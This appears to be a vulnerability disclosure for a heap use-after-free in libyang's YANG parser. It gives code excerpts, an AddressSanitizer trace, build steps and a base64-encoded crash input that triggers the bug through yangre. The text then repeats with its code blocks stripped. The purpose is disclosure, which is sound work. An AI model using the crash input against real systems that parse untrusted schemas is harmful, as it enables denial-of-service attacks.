Summary
yangre (and any application using the public lys_parse_mem() API) contains a heap-use-after-free when parsing an untrusted YANG module that defines a type with more than one pattern statement.
Details
parse_type_pattern() appends each pattern restriction by growing the patterns dynamic array with LY_ARRAY_NEW_RET():
/* src/parser_yang.c:2212 */
LY_ARRAY_NEW_RET(PARSER_CTX(ctx), *patterns, restr, LY_EMEM);
Later, while building the extension-instance path, lysp_ext_instance_path_stmt_append_r() dereferences such a stale pattern pointer:
/* src/tree_schema.c:1747-1750 */
case LY_STMT_PATTERN: {
const struct lysp_restr *res = stmt_p;
LY_CHECK_RET(lysp_ext_instance_path_append(buf, size, "{%s='%s'}",
lyplg_ext_stmt2str(stmt), res->arg.str + 1)); /* <-- UAF read */
}
res (== stmt_p) points into the old, freed patterns array, so the load of res->arg.str — an 8-byte field located inside the freed element — is a use-after-free read.
AddressSanitizer confirms the freed region was both allocated and freed by LY_ARRAY_NEW_RET() at parser_yang.c:2212:
ERROR: AddressSanitizer: heap-use-after-free on address 0x50700000e3a8
READ of size 8 thread T0
#0 lysp_ext_instance_path_stmt_append_r src/tree_schema.c:1750:9
#1 lysp_ext_instance_path src/tree_schema.c:1847:9
#2 lysp_ext_find_definition src/tree_schema_common.c:2324:9
#3 lysp_resolve_ext_instance_records src/tree_schema.c:1911:13
#4 lys_parse_in src/tree_schema.c:2784:5
#5 lys_parse src/tree_schema.c:2866:11
#6 lys_parse_mem src/tree_schema.c:2907:11
#7 main tools/re/main.c:434:9
freed by thread T0 here:
#0 realloc
#1 parse_type_pattern src/parser_yang.c:2212:5
#2 parse_type src/parser_yang.c:2345:13
#3 parse_leaf src/parser_yang.c:2443:13
#4 parse_module src/parser_yang.c:4497:13
previously allocated by thread T0 here:
#0 malloc
#1 parse_type_pattern src/parser_yang.c:2212:5
#2 parse_type src/parser_yang.c:2345:13
PoC
Build with AddressSanitizer:
git clone https://github.com/CESNET/libyang.git
cd libyang
git checkout 5435b592f
mkdir build && cd build
cmake -D CMAKE_BUILD_TYPE=Debug -D CMAKE_C_FLAGS="-fsanitize=address,undefined" ..
make -j
The 20-byte input contains a newline and a non-printable byte, so restore it from base64:
echo 'YS17c2VzbzphLXt9fWlvOnMtCiE=' | base64 -d > crash.yang
For reference, its bytes are:
612d 7b73 6573 6f3a 612d 7b7d 7d69 6f3a a-{seso:a-{}}io:
732d 0a21 s-.!
Run yangre:
./yangre -V -f crash.yang
The ASan build aborts with the heap-use-after-free shown above. A plain release build (no sanitizer) segfaults (SIGSEGV) on the same input, confirming the freed-memory read is a real crash and not a sanitizer-only artifact.
Impact
A heap use-after-free (CWE-416) triggered purely by untrusted YANG schema input. Any program that parses attacker-controlled schemas through libyang's public lys_parse_mem() / lys_parse() path is affected.
Summary
yangre(and any application using the publiclys_parse_mem()API) contains a heap-use-after-free when parsing an untrusted YANG module that defines atypewith more than onepatternstatement.Details
parse_type_pattern()appends each pattern restriction by growing thepatternsdynamic array withLY_ARRAY_NEW_RET():Later, while building the extension-instance path,
lysp_ext_instance_path_stmt_append_r()dereferences such a stale pattern pointer:res(==stmt_p) points into the old, freedpatternsarray, so the load ofres->arg.str— an 8-byte field located inside the freed element — is a use-after-free read.AddressSanitizer confirms the freed region was both allocated and freed by
LY_ARRAY_NEW_RET()atparser_yang.c:2212:PoC
Build with AddressSanitizer:
The 20-byte input contains a newline and a non-printable byte, so restore it from base64:
For reference, its bytes are:
Run
yangre:The ASan build aborts with the
heap-use-after-freeshown above. A plain release build (no sanitizer) segfaults (SIGSEGV) on the same input, confirming the freed-memory read is a real crash and not a sanitizer-only artifact.Impact
A heap use-after-free (CWE-416) triggered purely by untrusted YANG schema input. Any program that parses attacker-controlled schemas through libyang's public
lys_parse_mem()/lys_parse()path is affected.